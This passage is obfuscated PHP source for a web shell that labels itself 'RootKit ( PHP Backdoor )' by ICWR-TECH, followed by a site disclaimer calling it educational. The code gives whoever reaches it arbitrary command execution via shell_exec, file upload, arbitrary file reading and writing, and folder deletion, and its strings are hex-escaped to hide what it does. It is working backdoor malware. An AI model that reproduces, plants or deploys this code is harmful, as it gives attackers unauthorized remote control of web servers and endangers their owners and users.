t\x79pe\x3d\x27sub\x6di\x74\x27 \x76\x61\x6c\x75e\x3d'R\x65\x6e\x61m\x65'>\n\x20\x20\x20\x20   \x20<\x61 c\x6c\x61s\x73\x3d\x27b\x61\x72\x61\x74\x61\x73\x27\x20h\x72\x65\x66\x3d'?r\x6dfol\x64er\x3d$dir\x27\x3e\x52em\x6f\x76\x65 \x54hi\x73 F\x6f\x6cde\x72\x3c/a\x3e\n\x20\x20\x20\x20  \x20 \x3c/form>\n\x20 \x20 \x20\x20 \x20<h\x72\x3e\n    \x20\x20 \x20";if($_POST["\x72\x65na\x6d\x65\x5f\x66o\x6c\x64e\x72"]){if(mkdir("\x2e./".$_POST["re\x6eam\x65_f\x6f\x6c\x64\x65\x72"])){$vbmxqqhflo="\x64\x69\x72";rmdir("\x2e./".${$vbmxqqhflo});echo"\x3c\x73\x63\x72ip\x74>a\x6c\x65\x72t(\x27\x54h\x69s F\x6f\x6cde\x72\x20\x69\x73 R\x65nam\x65\x64\x20\x21\x21\x21'); \x77\x69n\x64\x6fw\x2el\x6f\x63a\x74i\x6f\x6e \x3d '?\x64=$dir/.\x2e'\x3b\x3c/script>";}else{echo"<scr\x69\x70\x74>\x61\x6ce\x72\x74(\x27\x54h\x69\x73 \x46\x6f\x6cder \x69\x73 Failed\x20\x52e\x6eame \x21!\x21')\x3b w\x69\x6e\x64\x6f\x77\x2elocation\x20= '?';\x3c/\x73c\x72ipt>";}}${"G\x4c\x4f\x42A\x4c\x53"}["\x73\x69\x62k\x69\x78\x6d\x6dco"]="s\x63\x6e\x64i\x72";if($_GET["\x72\x6df\x6f\x6c\x64er"]){${"\x47\x4cO\x42A\x4c\x53"}["\x73u\x78\x70tzn\x75\x65ay"]="\x64\x69\x72";if(rmdir(${${"G\x4cO\x42\x41L\x53"}["\x73\x75x\x70\x74\x7a\x6e\x75\x65\x61\x79"]})){echo"<sc\x72ipt\x3eal\x65r\x74(\x27F\x6fld\x65r D\x65l\x65ted \x21\x21!\x27)\x3b\x20\x77\x69\x6ed\x6f\x77.l\x6f\x63at\x69o\x6e\x20=\x20\x27?\x64\x3d$dir/..\x27;\x3c/scrip\x74>";}else{echo"<\x73\x63\x72ipt>al\x65\x72\x74('Thi\x73\x20\x46\x6fl\x64er\x20\x69s\x20\x46aile\x64\x20D\x65\x6ce\x74\x65\x20!!\x21\x27); \x77\x69\x6e\x64\x6f\x77.l\x6fc\x61t\x69\x6fn = \x27?'\x3b\x3c/s\x63\x72\x69pt\x3e";}}${${"GLOBA\x4c\x53"}["\x73\x69b\x6b\x69\x78\x6dm\x63\x6f"]}=scandir(${${"\x47LOB\x41L\x53"}["\x78\x76\x62\x73\x68\x6a\x6a\x77\x73\x6e\x6c"]});foreach(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6cu\x75\x64\x67\x6der\x77g\x77"]} as${${"\x47\x4c\x4fB\x41\x4cS"}["fih\x6c\x61\x77\x6bu\x62"]}){${"\x47L\x4f\x42\x41L\x53"}["\x77\x64\x72d\x7a\x68v\x70\x70\x66"]="\x73di\x72";${"\x47L\x4fBA\x4c\x53"}["\x77ju\x6a\x65\x6b\x77\x74k\x72"]="\x64\x69\x72";${"\x47\x4c\x4fB\x41LS"}["\x6b\x76\x78\x61cw\x74"]="\x73\x64i\x72";if(is_dir(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x6a\x75j\x65\x6bw\x74\x6br"]}."/".${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["k\x76\x78\x61\x63\x77t"]})){$aghyscbf="\x73\x64\x69\x72";echo"<\x61 \x68\x72ef\x3d\x27?d\x3d$dir/$sdir\x27\x3e<\x69mg\x20\x68\x65i\x67\x68\x74\x3d\x27\x32\x30\x27 \x73\x72c=\x27h\x74tps://\x72\x61w\x2e\x67i\x74hubus\x65rc\x6f\x6etent\x2ecom/\x49C\x57\x52-T\x45CH/p\x68p-r\x6fot\x6bi\x74/m\x61s\x74\x65\x72/\x66o\x6c\x64e\x72.\x70ng'/\x3e\x20".htmlspecialchars(${$aghyscbf})."\x3c/\x61\x3e\x3cb\x72>";}if(is_file(${${"G\x4c\x4f\x42\x41\x4cS"}["\x78\x76\x62s\x68\x6a\x6aw\x73\x6el"]}."/".${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x77d\x72\x64\x7ah\x76ppf"]})){${"G\x4cOB\x41\x4c\x53"}["\x75\x77wzl\x70\x6c"]="s\x64\x69\x72";echo"<\x61\x20\x68\x72ef='?fi\x6ce\x3d$dir/$sdir\x27\x3e\x3cim\x67\x20\x68\x65\x69g\x68t\x3d\x27\x32\x30' \x73\x72\x63='\x68\x74tps://r\x61w\x2eg\x69th\x75buse\x72\x63\x6f\x6et\x65\x6e\x74\x2e\x63\x6f\x6d/\x49CW\x52-\x54\x45\x43\x48/\x70h\x70-root\x6b\x69\x74/\x6da\x73\x74\x65r/\x66i\x6ce\x2epng'/\x3e\x20".htmlspecialchars(${${"\x47\x4c\x4f\x42ALS"}["\x75ww\x7alp\x6c"]})."</a\x3e\x3c\x62\x72>";}}}if($_GET["page"]=="\x75pl\x6f\x61d"){echo"Upl\x6f\x61\x64 Fi\x6ce\n\x20\x20\x20\x20\x20\x20  <br\x3e\x3c\x62r>\n\x20\x20 \x20\x20\x20\x20 \x3cf\x6f\x72\x6d e\x6e\x63t\x79pe\x3d'\x6d\x75l\x74i\x70ar\x74/\x66\x6f\x72\x6d-d\x61\x74a\x27 m\x65th\x6fd\x3d'\x70\x6fs\x74\x27>\n\x20 \x20\x20\x20\x20\x20\x20\x3ci\x6epu\x74 type\x3d\x27\x66\x69le'\x20n\x61\x6d\x65\x3d\x27\x75p'\x3e\n \x20\x20  \x20\x20 \x3c\x69\x6eput \x74y\x70\x65\x3d'su\x62mi\x74'\x20v\x61lue\x3d\x27\x55\x70l\x6f\x61\x64'\x3e\n\x20\x20\x20\x20 \x20  </\x66o\x72\x6d>\n\x20\x20     \x20";if($_FILES["\x75p"]){if(copy($_FILES["\x75\x70"]["\x74m\x70_\x6ea\x6d\x65"],$_FILES["\x75\x70"]["nam\x65"])){echo"[+]\x20\x53\x75c\x63ess :\x20".$_FILES["\x75p"]["n\x61\x6d\x65"];}else{echo"[-] Fai\x6c\x65d\x20: ".$_FILES["\x75\x70"]["name"];}echo"<b\x72>";}}if($_GET["\x70a\x67e"]=="\x73\x68el\x6c"){if($_POST["\x73h\x65ll"]){echo"Ro\x6ftK\x69t\x40$host:~\x20\$\x20".$_POST["\x73he\x6c\x6c"];echo"<\x70r\x65>".htmlspecialchars(shell_exec($_POST["\x73h\x65\x6cl"]))."\x3c/p\x72e>";}echo"<\x66\x6f\x72m en\x63ty\x70\x65\x3d'mul\x74\x69\x70a\x72t/\x66\x6frm-\x64\x61t\x61\x27\x20m\x65t\x68od\x3d\x27\x70o\x73\x74'\x3e\n\x20  \x20  \x20\x20\x52o\x6f\x74Kit\x40$host:~ \$ \x3c\x69npu\x74\x20t\x79p\x65='\x74\x65xt\x27 nam\x65\x3d\x27\x73h\x65ll'\x3e\x3c\x69\x6ep\x75t\x20ty\x70\x65\x3d\x27\x73\x75b\x6d\x69\x74'\x20\x76a\x6c\x75e\x3d'\x7e\x27\x3e\n \x20 \x20\x20\x20\x20\x20\x3c/\x66\x6fr\x6d>";}if($_GET["\x70a\x67\x65"]=="\x73\x63r\x69\x70ting"){if(empty(${${"GLO\x42A\x4c\x53"}["\x6f\x78\x64\x64\x78\x78\x72o\x68"]})){$phjdrjrr="\x73\x74\x72\x5fco\x64\x65";${$phjdrjrr}="\x3c?\x70hp \x65\x63\x68o \x27Hell\x6f\x20\x57o\x72l\x64'\x3b ?>";}else{${${"\x47L\x4f\x42\x41L\x53"}["\x6f\x78\x64\x64x\x78ro\x68"]}=htmlspecialchars($_SESSION["code"]);}echo"<\x66orm \x61\x63\x74io\x6e\x3d\x27?\x65\x78e\x5fco\x64e\x27 e\x6ectyp\x65='m\x75\x6ct\x69\x70ar\x74/f\x6f\x72\x6d-\x64\x61\x74a\x27\x20\x6d\x65th\x6fd=\x27pos\x74'>\n\x20\x20\x20\x20\x20\x20  <ce\x6e\x74er>Ru\x6en\x69\x6e\x67 \x50\x48\x50 \x53c\x72i\x70t</ce\x6e\x74\x65r>\n \x20  \x20\x20\x20\x20\x3c\x68\x72\x3e\n\x20\x20\x20   \x20\x20\x3ctex\x74a\x72\x65a \x63lass=\x27\x66i\x6c\x65\x27 n\x61m\x65\x3d'code'>$str_code\x3c/\x74\x65xtar\x65\x61\x3e\n \x20 \x20\x20 \x20 <\x62\x52>\x3c\x62\x72\x3e\n  \x20 \x20\x20 \x20<\x69npu\x74 \x74\x79pe\x3d\x27\x73\x75b\x6d\x69t' v\x61\x6c\x75\x65\x3d\x27\x52un \x53cr\x69pt\x20\x21!!'>\n\x20 \x20\x20 \x20 \x20</f\x6f\x72\x6d\x3e\n   \x20\x20   ";}if($_GET["\x70a\x67e"]=="ab\x6f\x75\x74"){echo"\n\x20 \x20\x20\x20\x20\x20\x20<\x63\x65nter\x3e\n   \x20\x20   <fon\x74 si\x7ae\x3d'2\x30'\x3e\x52oo\x74Ki\x74\x20( P\x48P \x42\x61ck\x64\x6for )</font\x3e\n\x20      \x20\x3cbr\x3e<b\x72\x3e\n\x20\x20 \x20\x20\x20\x20\x20\x3cf\x6fnt \x73ize=\x27\x35\x27\x3e\x49CWR-\x54\x45\x43H (R0\x30t-\x53he\x6c\x6c)\x3c/f\x6fn\x74\x3e\n \x20  \x20  \x20<\x62R\x3e<\x62r\x3e\n\x20\x20  \x20  \x20Get\x74\x69\x6e\x67 D\x69\x7az\x79 O\x75r \x46ee\x6c\x20\x43ozy\n \x20   \x20 \x20\x3cb\x72\x3e\x3c\x62\x72>\n\x20\x20 \x20\x20\x20 \x20\x52\x65\x6c\x65a\x73\x65\x20: <\x61 \x68\x72ef='\x68\x74t\x70s://\x67\x69th\x75\x62\x2e\x63\x6fm/\x52oo\x74\x53hel\x6c\x6c'\x3e\x68ttps://\x67i\x74hub.\x63o\x6d/\x52ootShe\x6cll\x3c/a>\n\x20\x20\x20  \x20  \x3c/\x63\x65\x6e\x74\x65\x72>\n\x20\x20    \x20\x20";}if($_GET["p\x61\x67\x65"]=="\x6e\x65wfile"){echo"\x3cform\x20enct\x79pe=\x27\x6d\x75lt\x69\x70\x61rt/\x66o\x72m-\x64\x61ta'\x20\x6de\x74\x68o\x64='\x70\x6f\x73\x74\x27>\n       \x20\x3c\x74e\x78\x74are\x61\x20\x63la\x73s=\x27f\x69\x6c\x65' \x6eame=\x27\x69si\x5f\x66i\x6ce\x27>".htmlspecialchars(file_get_contents($_GET["fi\x6c\x65"]))."</te\x78\x74\x61rea>\n\x20     \x20 \x3c\x62r\x3e\x3c\x62\x72\x3e\n \x20\x20   \x20\x20\x3c\x69n\x70u\x74 t\x79pe='\x74\x65x\x74'\x20n\x61m\x65=\x27nam\x65_\x66i\x6ce'\x3e\n\x20 \x20   \x20\x20\x3c\x62\x72>\x3c\x62\x52>\n\x20\x20   \x20\x20\x20\x3cinput\x20ty\x70e\x3d'submit'\x20\x76\x61l\x75\x65\x3d'\x53av\x65 Fil\x65'>\n \x20\x20 \x20   </\x66orm>\n \x20 \x20\x20\x20  ";if($_POST["\x6e\x61me\x5ffil\x65"]){$tuybwgewjrhi="n\x66i\x6ce";${${"G\x4cO\x42\x41\x4c\x53"}["\x77\x61\x75\x63h\x66\x61y\x75"]}=fopen($_POST["nam\x65\x5ff\x69l\x65"],"w");if(fwrite(${$tuybwgewjrhi},$_POST["is\x69\x5ff\x69l\x65"])){echo"\x3cs\x63\x72ipt\x3ea\x6c\x65\x72\x74('Fi\x6c\x65 Cr\x65a\x74ed !!!\x27)\x3b w\x69\x6e\x64ow.\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x20= \x27?';\x3c/\x73\x63\x72\x69\x70\x74>";}else{echo"<\x73\x63r\x69\x70\x74\x3e\x61l\x65rt(\x27\x43\x72\x65a\x74\x65\x64\x20F\x69\x6ce F\x61\x69led \x21\x21\x21')\x3b \x77\x69\x6edow.\x6co\x63\x61ti\x6f\x6e\x20\x3d\x20'?'\x3b\x3c/\x73\x63r\x69\x70t\x3e";}}}if($_GET["pa\x67\x65"]=="newf\x6f\x6c\x64\x65r"){echo"\x3c\x66\x6frm \x65\x6ecty\x70e\x3d'm\x75\x6c\x74\x69\x70\x61\x72\x74/fo\x72\x6d-\x64\x61t\x61\x27\x20m\x65\x74\x68od\x3d'\x70\x6f\x73t'>\n\x20   \x20  \x20N\x65w F\x6fl\x64\x65\x72\x20: \x3c\x69\x6e\x70\x75\x74\x20t\x79\x70\x65\x3d\x27t\x65\x78\x74\x27 \x6e\x61m\x65\x3d'nam\x65\x5ff\x6f\x6cder'\x3e\n\x20\x20\x20\x20\x20 \x20 \x3ci\x6e\x70ut \x74ype\x3d\x27su\x62mit\x27 valu\x65='S\x61\x76\x65 \x46old\x65r'\x3e\n \x20  \x20\x20\x20 </fo\x72m\x3e\n \x20\x20 \x20 \x20 ";if($_POST["na\x6d\x65_\x66o\x6c\x64e\x72"]){if(mkdir($_POST["n\x61me\x5f\x66o\x6c\x64\x65r"])){echo"\x3cs\x63ri\x70\x74\x3e\x61\x6c\x65\x72t('F\x6f\x6cde\x72 \x43\x72\x65\x61te\x64\x20\x21\x21!')\x3b \x77\x69nd\x6fw\x2e\x6co\x63ati\x6f\x6e\x20\x3d\x20\x27?'\x3b\x3c/s\x63\x72ipt\x3e";}else{echo"\x3c\x73c\x72\x69\x70t\x3e\x61lert('C\x72e\x61t\x65d \x46\x6f\x6c\x64\x65\x72\x20\x46a\x69\x6ced !\x21\x21');\x20wi\x6e\x64ow.lo\x63a\x74\x69\x6fn =\x20'?\x27\x3b\x3c/\x73cr\x69\x70t>";}}}echo "  \x3c/div>\n\x3c/\x64\x69\x76>\n\x3c\x64iv\x20c\x6c\x61\x73s\x3d\x22\x6bo\x74\x61k\"\x3e\n\x20 <\x64i\x76\x20\x63l\x61\x73\x73=\x22\x6c\x22>\n\x20   \x46\x72ee S\x70ac\x65\x20:\x20";echo disk_free_space("/");echo " \x42y\x74\x65\n  \x3c/\x64\x69v\x3e\n \x20\x3cd\x69v c\x6c\x61s\x73\x3d\x22r\x22\x3e\n\x20 \x20\x20Cop\x79r\x69ght\x20\x26\x63\x6f\x70y\x3b ";echo date("Y");echo " -\x20IC\x57R-\x54\x45C\x48 (R\x300t-\x53hell)\n\x20 </d\x69\x76>\n\x3c/\x64\x69v\x3e\n";
?>

Warning: The content shared on this site is for informational and educational purposes only. Any responsibility that may arise from the use of the sharing belongs entirely to the user. The site management is not responsible for the misuse of the content.